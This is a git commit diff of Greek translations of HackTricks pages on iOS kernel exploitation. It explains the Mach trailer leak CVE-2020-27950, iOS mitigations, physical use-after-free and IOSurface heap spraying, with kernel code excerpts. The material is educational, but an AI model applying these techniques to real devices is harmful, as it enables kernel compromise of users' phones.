Translated ['src/binary-exploitation/ios-exploiting/ios-physical-uaf-ios

This commit is contained in:
Translator 2025-09-30 00:23:43 +00:00
parent ad66e572a2
commit 6406791426
7 changed files with 439 additions and 457 deletions

View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Το σφάλμα
## Το Σφάλμα
Υπάρχει [μια εξαιρετική εξήγηση του vuln εδώ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), αλλά συνοπτικά:
Υπάρχει μια [εξαιρετική εξήγηση της vuln εδώ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), αλλά ως περίληψη:
Κάθε Mach message που λαμβάνει ο kernel τελειώνει με ένα **"trailer"**: ένα variable-length struct με metadata (seqno, sender token, audit token, context, access control data, labels...). Ο kernel **πάντα δεσμεύει το μεγαλύτερο δυνατό trailer** (MAX_TRAILER_SIZE) στο message buffer, αλλά **αρχικοποιεί μόνο κάποια πεδία**, και αργότερα **αποφασίζει ποιο μέγεθος trailer θα επιστρέψει** βάσει των **user-controlled receive options**.
Κάθε Mach message που λαμβάνει ο kernel τελειώνει με ένα **"trailer"**: μια δομή μεταβλητού μήκους με μεταδεδομένα (seqno, sender token, audit token, context, access control data, labels...). Ο kernel **πάντα δεσμεύει το μεγαλύτερο δυνατό trailer** (MAX_TRAILER_SIZE) στο message buffer, αλλά **αρχικοποιεί μόνο ορισμένα πεδία**, και αργότερα **αποφασίζει ποιο μέγεθος trailer θα επιστρέψει** βάσει των **user-controlled receive options**.
Αυτά είναι τα trailer relevant structs:
Ακολουθούν οι δομές (structs) που σχετίζονται με το trailer:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Στη συνέχεια, όταν το trailer object δημιουργείται, μόνο ορισμένα πεδία αρχικοποιούνται, και το μέγιστο μέγεθος του trailer πάντα δεσμεύεται:
Τότε, όταν το trailer αντικείμενο δημιουργείται, μόνο κάποια πεδία αρχικοποιούνται, και το μέγιστο μέγεθος του trailer δεσμεύεται πάντα:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Τότε, για παράδειγμα, όταν προσπαθείτε να διαβάσετε ένα mach message χρησιμοποιώντας `mach_msg()` η συνάρτηση `ipc_kmsg_add_trailer()` καλείται για να προσαρτήσει το trailer στο μήνυμα. Εσωτερικά σε αυτή τη συνάρτηση υπολογίζεται το μέγεθος του trailer και συμπληρώνονται κάποια άλλα πεδία του trailer:
Έτσι, για παράδειγμα, όταν προσπαθείτε να διαβάσετε ένα μήνυμα mach χρησιμοποιώντας `mach_msg()`, καλείται η συνάρτηση `ipc_kmsg_add_trailer()` για να προσθέσει το trailer στο μήνυμα. Μέσα σε αυτή τη συνάρτηση υπολογίζεται το μέγεθος του trailer και συμπληρώνονται ορισμένα άλλα πεδία του trailer:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Η παράμετρος `option` ελέγχεται από τον χρήστη, οπότε **πρέπει να δοθεί μια τιμή που θα περάσει τον έλεγχο `if`.**
Η παράμετρος `option` ελέγχεται από τον χρήστη, οπότε **είναι απαραίτητο να περάσουμε μια τιμή που περνάει τον έλεγχο `if`.**
Για να περάσουμε αυτόν τον έλεγχο πρέπει να στείλουμε ένα έγκυρο υποστηριζόμενο `option`:
Για να περάσει αυτός ο έλεγχος πρέπει να στείλουμε ένα έγκυρο υποστηριζόμενο `option`:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,7 +67,7 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Όμως, επειδή το `MACH_RCV_TRAILER_MASK` απλώς ελέγχει bits, μπορούμε να περάσουμε οποιαδήποτε τιμή μεταξύ `0` και `8` ώστε να μην εισέλθουμε μέσα στο `if` statement.
Αλλά, επειδή το `MACH_RCV_TRAILER_MASK` απλώς ελέγχει bits, μπορούμε να περάσουμε οποιαδήποτε τιμή μεταξύ `0` και `8` ώστε να μην εισέλθουμε στη δήλωση `if`.
Στη συνέχεια, συνεχίζοντας με τον κώδικα μπορείτε να βρείτε:
```c
@ -94,17 +94,17 @@ return trailer->msgh_trailer_size;
```
Όπως μπορείτε να δείτε, αν το `option` είναι μεγαλύτερο ή ίσο με `MACH_RCV_TRAILER_AV` (7), το πεδίο **`msgh_ad`** αρχικοποιείται σε `0`.
Αν προσέξατε, το **`msgh_ad`** ήταν ακόμη το μόνο πεδίο του trailer που δεν είχε αρχικοποιηθεί νωρίτερα και που θα μπορούσε να περιέχει ένα leak από προηγουμένως χρησιμοποιημένη μνήμη.
Αν προσέξατε, το **`msgh_ad`** ήταν ακόμα το μόνο πεδίο του trailer που δεν είχε αρχικοποιηθεί νωρίτερα και το οποίο θα μπορούσε να περιέχει leak από προηγουμένως χρησιμοποιημένη μνήμη.
Έτσι, ο τρόπος για να αποφευχθεί η αρχικοποίησή του είναι να περάσετε μια τιμή `option` που είναι `5` ή `6`, ώστε να περνάει το πρώτο `if` check και να μην μπαίνει στο `if` που αρχικοποιεί το `msgh_ad`, επειδή οι τιμές `5` και `6` δεν έχουν κανέναν τύπο trailer συσχετισμένο.
Άρα, ο τρόπος για να αποφευχθεί η αρχικοποίησή του είναι να περάσετε μια τιμή `option` ίση με `5` ή `6`, έτσι ώστε να περνάει τον πρώτο έλεγχο `if` και να μην μπαίνει στο `if` που αρχικοποιεί το `msgh_ad`, επειδή οι τιμές `5` και `6` δεν έχουν συνδεδεμένο κανέναν τύπο trailer.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
Μέσα στο [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), υπάρχει ένα PoC που απλώς κάνει leak κάποια τυχαία δεδομένα.
### Leak Kernel Address PoC
Στο Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), υπάρχει ένα PoC για να leak μια kernel address. Για αυτό, ένα μήνυμα γεμάτο `mach_msg_port_descriptor_t` structs αποστέλλεται, επειδή το πεδίο `name` αυτής της δομής στο userland περιέχει ένα unsigned int, ενώ στο kernel το πεδίο `name` είναι pointer σε struct `ipc_port`. Συνεπώς, η αποστολή δεκάδων από αυτές τις δομές στο μήνυμα στο kernel θα σημαίνει ότι **προστίθενται αρκετές kernel addresses μέσα στο μήνυμα** ώστε κάποια από αυτές να μπορεί να leak.
Στο [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), υπάρχει ένα PoC για να leak μια kernel διεύθυνση. Για αυτό, ένα μήνυμα γεμάτο `mach_msg_port_descriptor_t` structs αποστέλλεται επειδή το πεδίο `name` αυτής της δομής στο userland περιέχει ένα unsigned int, αλλά στο kernel το πεδίο `name` είναι δείκτης σε struct `ipc_port`. Επομένως, η αποστολή δεκάδων από αυτές τις δομές στο μήνυμα στο kernel θα σημαίνει την **προσθήκη πολλαπλών kernel διευθύνσεων μέσα στο μήνυμα** έτσι ώστε μία από αυτές να μπορεί να leak-θεί.
Προστέθηκαν σχόλια για καλύτερη κατανόηση:
```c

View File

@ -3,111 +3,110 @@
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS λειτουργεί απαιτώντας κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδεται από την Apple. Όταν φορτώνεται ο κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή σε σχέση με το αξιόπιστο root της Apple. Εάν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται να το εκτελέσει. Αυτό αποτρέπει επιθέσεις που επιχειρούν να εγχύσουν κακόβουλο κώδικα σε νόμιμες εφαρμογές ή να τρέξουν unsigned binaries, σταματώντας την πλειονότητα των exploit chains που βασίζονται στην εκτέλεση αυθαίρετου ή τροποποιημένου κώδικα.
- **CoreTrust** είναι το subsystem του iOS υπεύθυνο για την επιβολή του code signing στο runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root πιστοποιητικό της Apple χωρίς να βασίζεται σε cached trust stores, πράγμα που σημαίνει ότι μόνο binaries υπογεγραμμένα από την Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εξασφαλίζει ότι ακόμα και αν κάποιος χειριστεί μια εφαρμογή μετά την εγκατάσταση, τροποποιήσει system libraries ή προσπαθήσει να φορτώσει unsigned code, το σύστημα θα μπλοκάρει την εκτέλεση εκτός αν ο κώδικας παραμένει σωστά υπογεγραμμένος. Αυτή η αυστηρή επιβολή κλείνει πολλούς μετα-exploitation vectors που παλαιότερες εκδόσεις iOS επέτρεπαν μέσω ασθενέστερων ή παρακάμπτων signature checks.
- **Data Execution Prevention (DEP)** σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητώς κώδικα. Αυτό εμποδίζει την έγχυση shellcode σε data regions (όπως stack ή heap) και την εκτέλεσή του, αναγκάζοντας τους επιτιθέμενους να βασιστούν σε πιο σύνθετες τεχνικές όπως ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** τυχαΐζει τις διευθύνσεις μνήμης του κώδικα, των libraries, του stack και του heap κάθε φορά που τρέχει το σύστημα. Αυτό δυσκολεύει σημαντικά τους επιτιθέμενους να προβλέψουν πού βρίσκονται χρήσιμες εντολές ή gadgets, διαταράσσοντας πολλές αλυσίδες εκμετάλλευσης που εξαρτώνται από σταθερές διατάξεις μνήμης.
- **KASLR (Kernel ASLR)** εφαρμόζει την ίδια ιδέα τυχαιοποίησης στον kernel του iOS. Με το να ανακατεύει τη base address του kernel σε κάθε boot, αποτρέπει τους επιτιθέμενους από το να εντοπίζουν αξιόπιστα kernel functions ή structures, αυξάνοντας τη δυσκολία σε kernel-level exploits που διαφορετικά θα αποκτούσαν πλήρη έλεγχο του συστήματος.
- **Kernel Patch Protection (KPP)**, επίσης γνωστό ως **AMCC (Apple Mobile File Integrity)** στο iOS, παρακολουθεί συνεχώς τις code pages του kernel για να διασφαλίσει ότι δεν έχουν τροποποιηθεί. Αν εντοπιστεί οποιαδήποτε χειραγώγηση—όπως ένα exploit που προσπαθεί να αλλάξει kernel functions ή να εισάγει κακόβουλο κώδικα—η συσκευή θα κάνει panic και θα επανεκκινήσει αμέσως. Αυτή η προστασία κάνει τα persistent kernel exploits πολύ πιο δύσκολα, αφού οι επιτιθέμενοι δεν μπορούν απλά να κάνουν hook ή patch σε kernel instructions χωρίς να προκαλέσουν system crash.
- **Kernel Text Readonly Region (KTRR)** είναι μια hardware-based λειτουργία ασφαλείας που εισήχθη σε συσκευές iOS. Χρησιμοποιεί το memory controller της CPU για να δηλώσει το kernels code (text) section ως μόνιμα read-only μετά το boot. Μόλις κλειδωθεί, ακόμη και ο ίδιος ο kernel δεν μπορεί να τροποποιήσει αυτήν την περιοχή μνήμης. Αυτό εμποδίζει επιτιθέμενους—και ακόμα και privileged code—από το να κάνουν patch σε kernel instructions στο runtime, κλείνοντας μια μεγάλη κατηγορία εκμεταλλεύσεων που βασίζονταν στην απευθείας τροποποίηση του kernel code.
- **Pointer Authentication Codes (PAC)** χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε ανεκμετάλλευτα bits των pointers για να επαληθεύσουν την ακεραιότητά τους πριν τη χρήση. Όταν ένας pointer (π.χ. return address ή function pointer) δημιουργείται, η CPU τον υπογράφει με ένα secret key; πριν την απο-αναφορά, η CPU ελέγχει την υπογραφή. Αν ο pointer έχει τροποποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματάει. Αυτό αποτρέπει επιτιθέμενους από το να πλαστογραφήσουν ή να ξαναχρησιμοποιήσουν corrupted pointers σε memory corruption exploits, καθιστώντας τεχνικές όπως ROP ή JOP πολύ πιο δύσκολες στην αξιοποίηση.
- **Privilege Access never (PAN)** είναι μια λειτουργία hardware που αποτρέπει τον kernel (privileged mode) από το να προσπελάσει άμεσα user-space μνήμη εκτός αν ενεργοποιήσει ρητά την πρόσβαση. Αυτό εμποδίζει τους επιτιθέμενους που απέκτησαν kernel code execution από το να διαβάσουν ή να γράψουν εύκολα user memory για escalation ή κλοπή ευαίσθητων δεδομένων. Εφαρμόζοντας αυστηρό διαχωρισμό, το PAN μειώνει τον αντίκτυπο των kernel exploits και μπλοκάρει πολλές κοινές τεχνικές privilege-escalation.
- **Page Protection Layer (PPL)** είναι ένας μηχανισμός ασφαλείας του iOS που προστατεύει κρίσιμες περιοχές μνήμης που διαχειρίζεται ο kernel, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections χρησιμοποιώντας την MMU και επιπλέον ελέγχους, εξασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί αυθαίρετα να τροποποιήσει ευαίσθητες σελίδες. Αυτό αποτρέπει τους επιτιθέμενους που αποκτούν kernel-level execution από την παραποίηση security-critical δομών, καθιστώντας την persistence και την παράκαμψη code-signing σημαντικά πιο δύσκολες.
## Μηχανισμοί μετριασμού εκμεταλλεύσεων στο iOS
- **Code Signing** στο iOS απαιτεί κάθε κομμάτι εκτελέσιμου κώδικα (apps, libraries, extensions, κ.λπ.) να είναι κρυπτογραφικά υπογεγραμμένο με πιστοποιητικό που εκδίδει η Apple. Όταν φορτώνεται κώδικας, το iOS επαληθεύει την ψηφιακή υπογραφή έναντι της αξιόπιστης ρίζας της Apple. Αν η υπογραφή είναι άκυρη, λείπει ή έχει τροποποιηθεί, το OS αρνείται την εκτέλεση. Αυτό αποτρέπει επιθέσεις που βασίζονται στην έγχυση κακόβουλου κώδικα σε νόμιμες εφαρμογές ή στην εκτέλεση unsigned binaries.
- **CoreTrust** είναι το υποσύστημα που επιβλέπει την επιβολή του code signing κατά το runtime. Επαληθεύει απευθείας υπογραφές χρησιμοποιώντας το root certificate της Apple χωρίς να βασίζεται σε cached trust stores, πράγμα που σημαίνει ότι μόνο binaries υπογεγραμμένα από Apple (ή με έγκυρα entitlements) μπορούν να εκτελεστούν. Το CoreTrust εμποδίζει την εκτέλεση τροποποιημένου ή unsigned κώδικα.
- **Data Execution Prevention (DEP)** σηματοδοτεί περιοχές μνήμης ως non-executable εκτός αν περιέχουν ρητά κώδικα. Αυτό εμποδίζει την έγχυση shellcode σε data regions (όπως stack ή heap) και την άμεση εκτέλεσή του, αναγκάζοντας σε πιο σύνθετες τεχνικές όπως ROP.
- **ASLR (Address Space Layout Randomization)** τυχαίοςizes τις διευθύνσεις μνήμης του κώδικα, των libraries, του stack και του heap κάθε φορά που τρέχει το σύστημα. Αυτό δυσκολεύει την πρόβλεψη τοποθεσιών με χρήσιμες οδηγίες ή gadgets.
- **KASLR (Kernel ASLR)** εφαρμόζει την ίδια τυχαιοποίηση στον kernel, αναμιγνύοντας τη base address του kernel σε κάθε boot ώστε να αποτρέπεται ο αξιόπιστος εντοπισμός kernel functions ή δομών.
- **Kernel Patch Protection (KPP)**, επίσης γνωστό ως **AMCC (Apple Mobile File Integrity)**, παρακολουθεί συνεχώς τις kernel code pages για να βεβαιωθεί ότι δεν έχουν τροποποιηθεί. Αν εντοπιστεί tampering—π.χ. κάποια προσπάθεια patching ή εισαγωγής κακόβουλου κώδικα—η συσκευή panicάρει και κάνει reboot.
- **Kernel Text Readonly Region (KTRR)** είναι ένα hardware-based feature που κλειδώνει το kernel code (text) section ως μόνιμα read-only μετά το boot. Ακόμα και ο ίδιος ο kernel δεν μπορεί να τροποποιήσει αυτή την περιοχή, αποτρέποντας runtime patching του kernel code.
- **Pointer Authentication Codes (PAC)** χρησιμοποιούν κρυπτογραφικές υπογραφές ενσωματωμένες σε bits pointer για να επαληθεύουν την ακεραιότητα πριν την χρήση. Όταν ένας pointer (π.χ. return address ή function pointer) δημιουργείται, το CPU τον υπογράφει· πριν τη dereference, ελέγχεται η υπογραφή. Αν ο pointer έχει τροποποιηθεί, ο έλεγχος αποτυγχάνει και η εκτέλεση σταματά. Αυτό δυσκολεύει τεχνικές όπως ROP ή JOP.
- **Privilege Access Never (PAN)** είναι ένα hardware feature που αποτρέπει τον kernel (privileged mode) από το να αποκτά πρόσβαση σε user-space μνήμη εκτός αν ενεργοποιήσει ρητά την πρόσβαση. Αυτό εμποδίζει attackers με kernel execution από το να διαβάζουν/γράφουν εύκολα user memory για escalation ή κλοπή δεδομένων.
- **Page Protection Layer (PPL)** είναι ένας μηχανισμός ασφαλείας που προστατεύει κρίσιμες kernel-managed περιοχές μνήμης, ειδικά αυτές που σχετίζονται με code signing και entitlements. Εφαρμόζει αυστηρές write protections μέσω της MMU και πρόσθετων ελέγχων, διασφαλίζοντας ότι ακόμα και privileged kernel code δεν μπορεί να τροποποιήσει αυθαίρετα ευαίσθητες σελίδες.
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Αυτή είναι μια περίληψη από το άρθρο στο [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Επιπλέον πληροφορίες και writeups για exploits που χρησιμοποιούν αυτή την τεχνική υπάρχουν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Ο **χώρος διευθύνσεων εικονικής μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων (page tables)** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
Το virtual memory address space για user processes στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Αυτές οι διευθύνσεις δεν αντιστοιχούν απευθείας στη physical memory· ο kernel χρησιμοποιεί page tables για να μεταφράζει virtual addresses σε πραγματικές physical addresses.
#### Levels of Page Tables in iOS
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
Οι page tables οργανώνονται ιεραρχικά σε τρία επίπεδα:
1. **L1 Page Table (Level 1)**:
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
* Καλύπτει **0x1000000000 bytes****256 GB**) εικονικής μνήμης.
* Κάθε entry εδώ αντιπροσωπεύει ένα μεγάλο εύρος virtual memory.
* Καλύπτει **0x1000000000 bytes****256 GB**) virtual memory.
2. **L2 Page Table (Level 2)**:
* Μία εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή από μόνη της.
* Κάθε entry εδώ αντιστοιχεί σε μικρότερη περιοχή virtual memory, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια εγγραφή L1 μπορεί να δείχνει σε ένα L2 table αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή από μόνη της.
3. **L3 Page Table (Level 3)**:
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή χαρτογραφεί μία μοναδική σελίδα μνήμης **4 KB**.
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν απαιτείται πιο λεπτομερής έλεγχος.
* Το πιο λεπτομερές επίπεδο, όπου κάθε entry χαρτογραφεί μια μεμονωμένη σελίδα των **4 KB**.
* Μια εγγραφή L2 μπορεί να δείχνει σε ένα L3 table όταν χρειάζεται πιο λεπτομερής έλεγχος.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα ένα εύρος εικονικών διευθύνσεων σε ένα συνεχόμενο εύρος φυσικών διευθύνσεων (σαν σύντομος δρόμος).
* Ορισμένες εγγραφές στον page table χαρτογραφούν άμεσα ένα range virtual addresses σε μια συνεχόμενη περιοχή physical addresses (σαν συντόμευση).
* **Pointer to Child Page Table**:
* Εάν απαιτείται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν **child page table** στο επόμενο επίπεδο (π.χ. L2).
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν child page table στο επόμενο επίπεδο (π.χ. L2).
#### Example: Mapping a Virtual Address
Ας υποθέσουμε ότι προσπαθείτε να προσπελάσετε την εικονική διεύθυνση **0x1000000000**:
Αν προσπαθήσετε να προσπελάσετε την virtual address **0x1000000000**:
1. **L1 Table**:
* Ο kernel ελέγχει την εγγραφή του L1 page table που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Εάν αυτή έχει έναν **pointer to an L2 page table**, πηγαίνει στον αντίστοιχο πίνακα L2.
* Ο kernel ελέγχει την L1 page table entry που αντιστοιχεί σε αυτή τη virtual address. Αν έχει pointer σε ένα L2 page table, μεταβαίνει εκεί.
2. **L2 Table**:
* Ο kernel ελέγχει τον L2 page table για μια πιο λεπτομερή αντιστοίχιση. Εάν η εγγραφή αυτή δείχνει σε έναν **L3 page table**, προχωράει εκεί.
* Ο kernel ελέγχει την εγγραφή στο L2 για πιο λεπτομερή mapping. Αν αυτή η εγγραφή δείχνει σε ένα L3 page table, συνεχίζει εκεί.
3. **L3 Table**:
* Ο kernel κοιτάζει την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
* Ο kernel αναζητά την τελική L3 εγγραφή, η οποία δείχνει στην physical address της πραγματικής memory page.
#### Example of Address Mapping
Εάν γράψετε τη φυσική διεύθυνση **0x800004000** στο πρώτο index του L2 table, τότε:
Αν γράψετε την physical address **0x800004000** στο πρώτο index του L2 table, τότε:
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
* Αυτή είναι μια **block mapping** σε επίπεδο L2.
* Οι virtual addresses από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε physical addresses από **0x800004000** έως **0x802004000**.
* Αυτό είναι ένα block mapping σε επίπεδο L2.
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
Εναλλακτικά, αν η L2 εγγραφή δείχνει σε ένα L3 table:
* Κάθε σελίδα 4 KB στην εικονική περιοχή **0x1000000000 -> 0x1002000000** θα χαρτογραφείται από μεμονωμένες εγγραφές στον L3 πίνακα.
* Κάθε σελίδα των 4 KB στην virtual περιοχή **0x1000000000 -> 0x1002000000** θα χαρτογραφείται από ξεχωριστές εγγραφές στο L3 table.
### Physical use-after-free
Μια **physical use-after-free (UAF)** συμβαίνει όταν:
Μια physical use-after-free (UAF) συμβαίνει όταν:
1. Μια διεργασία **δεσμεύει (allocates)** κάποια μνήμη ως **readable and writable**.
2. Οι **page tables** ενημερώνονται για να χαρτογραφήσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που η διεργασία μπορεί να προσπελάσει.
3. Η διεργασία **απελευθερώνει (deallocates / frees)** τη μνήμη.
4. Ωστόσο, λόγω ενός **bug**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, παρότι σηματοδοτεί τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο kernel μπορεί στη συνέχεια να **επαναεκχωρήσει αυτήν την "απελευθερωμένη" φυσική μνήμη** για άλλες χρήσεις, όπως για **kernel data**.
6. Εφόσον η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτήν την φυσική μνήμη.
1. Μια διεργασία κάνει allocate κάποια μνήμη ως readable και writable.
2. Οι page tables ενημερώνονται ώστε να map αυτή τη μνήμη σε μια συγκεκριμένη physical address που η διεργασία μπορεί να προσπελάσει.
3. Η διεργασία απελευθερώνει (frees) τη μνήμη.
4. Εντούτοις, λόγω bug, ο kernel ξεχνάει να αφαιρέσει το mapping από τους page tables, παρότι η physical memory σημειώνεται ως ελεύθερη.
5. Ο kernel μπορεί στη συνέχεια να realloc αυτή τη "freed" physical memory για άλλους σκοπούς, όπως kernel data.
6. Εφόσον το mapping δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να διαβάζει και να γράφει σε αυτήν την physical memory.
Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει **σελίδες του kernel memory**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, ενδεχομένως επιτρέποντας σε έναν επιτιθέμενο να **χειραγωγήσει το kernel memory**.
Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει σελίδες kernel memory, που μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, δίνοντας τη δυνατότητα σε attacker να χειραγωγήσει kernel memory.
### IOSurface Heap Spray
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες kernel σελίδες θα εκχωρηθούν στη freed memory, χρησιμοποιεί μια τεχνική που ονομάζεται **heap spray**:
Επειδή ο attacker δεν ελέγχει ποιες συγκεκριμένες kernel σελίδες θα ανατεθούν στη freed μνήμη, χρησιμοποιεί τεχνική heap spray:
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στην kernel μνήμη.
2. Κάθε αντικείμενο IOSurface περιέχει μια **magic value** σε ένα από τα fields του, κάνοντάς τα εύκολα αναγνωρίσιμα.
3. Σαρώνει τις απελευθερωμένες σελίδες για να δει αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια freed σελίδα.
4. Όταν εντοπίσει ένα αντικείμενο IOSurface σε μια freed σελίδα, μπορεί να το χρησιμοποιήσει για να **διαβάσει και να γράψει kernel memory**.
1. Ο attacker δημιουργεί μεγάλο αριθμό IOSurface objects στην kernel memory.
2. Κάθε IOSurface object περιέχει μια magic value σε ένα από τα πεδία του, κάνοντάς τα εύκολα αναγνωρίσιμα.
3. Σαρώνει τις freed σελίδες για να δει αν κάποια από αυτά τα IOSurface objects κατέληξαν σε μια freed σελίδα.
